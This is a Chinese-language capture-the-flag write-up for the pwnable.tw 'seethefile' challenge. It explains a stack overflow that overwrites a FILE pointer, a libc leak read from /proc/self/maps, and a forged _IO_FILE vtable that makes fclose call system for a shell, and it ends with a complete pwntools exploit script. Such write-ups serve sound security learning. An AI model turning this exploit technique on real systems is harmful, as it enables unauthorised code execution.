之前做了五道题直接做自闭了,各种手写shellcode,学到了很多姿势,这是一道文件题,没接触过,来挑战一下……
no canary found!!!!!! 拖进IDA分析
一共有五个功能
有一个明显的栈溢出
我们可以通过溢出name来覆盖fp
1)openfile:打开文件,文件指针就是fp,不能打开文件名为flag的文件
2)readfile:从fp读取0x18F个字节到magicbuf上
3)closefile:关闭文件,指针fp赋0
4)writefile:只是一个打印函数,而不能写入,不能打印flag,FLAG,}名的文件,如下
思路就是构造fake FILE,从而使得接下来的fclose执行system(“/bin/sh”)
一开始也不知到咋泄露libc内容
后来看了这篇文章:http://p4nda.top/2017/09/20/pwnable-tw-seethefile/
原来文件的内存信息存储与/proc/pid/maps中
远程一下试试看
还行,可以看见,我们需要的是libc_address的偏移量,然后找出system_address
我们还需要学会怎么伪造IO_File,头疼,又是没接触过的
学习链接:https://www.jianshu.com/p/2e00afb01606
https://www.jianshu.com/p/a6354fa4dbdf
提几个偷懒的知识点好了:
1._IO_FILE结构体大小为0x94,我的版本是这个,查一下就好,只需要改掉有用的
2._flags & 0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp)
3.将fp指向一块内存P,P偏移0的前4字节设置为0xffffdfff,P偏移4位置放上要执行的字符串指令(字符串以';'开头即可),P偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存区域Q,Q偏移2*4字节处(vtable->__finish)覆盖为system函数地址即可
4.vtable是个虚标指针,里面一般性是21or23个变量,我们需要改的是第三个,别的填充些正常的地址就好
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./seethefile')
bin = ELF('./seethefile')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('chall.pwnable.tw',10200)
bin = ELF('./seethefile')
libc = ELF('libc_32.so.6')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def openfile(name):
cn.recvuntil('Your choice :')
cn.sendline('1')
cn.recvuntil('to see :')
cn.sendline(name)
def readfile():
cn.recvuntil('Your choice :')
cn.sendline('2')
def writefile():
cn.recvuntil('Your choice :')
cn.sendline('3')
def closefile():
cn.recvuntil('Your choice :')
cn.sendline('4')
def exit(name):
cn.recvuntil('Your choice :')
cn.sendline('5')
cn.recvuntil('your name :')
cn.sendline(name)
openfile('/proc/self/maps')
readfile()
writefile()
cn.recvline()
cn.recvline()
cn.recvline()
cn.recvline()
libc.address = int(cn.recvline()[:8],16)+0x1000
print 'offset: '+hex(libc.address)
system_addr=libc.symbols['system']
print 'system: '+hex(system_addr)
closefile()
openfile('/proc/self/maps')
#spare place
addr=0x0804B300
payload=''
#padding+change *fp
payload+='a'*32 + p32(addr)
payload+='\x00'*(0x80-4)
#fake IO file
#flag+code
payload+='\xff\xff\xdf\xff;$0\x00'.ljust(0x94,'\x00')
#change vtable
payload+=p32(addr+0x98)
payload+=p32(system_addr)*21
exit(payload)
cn.interactive()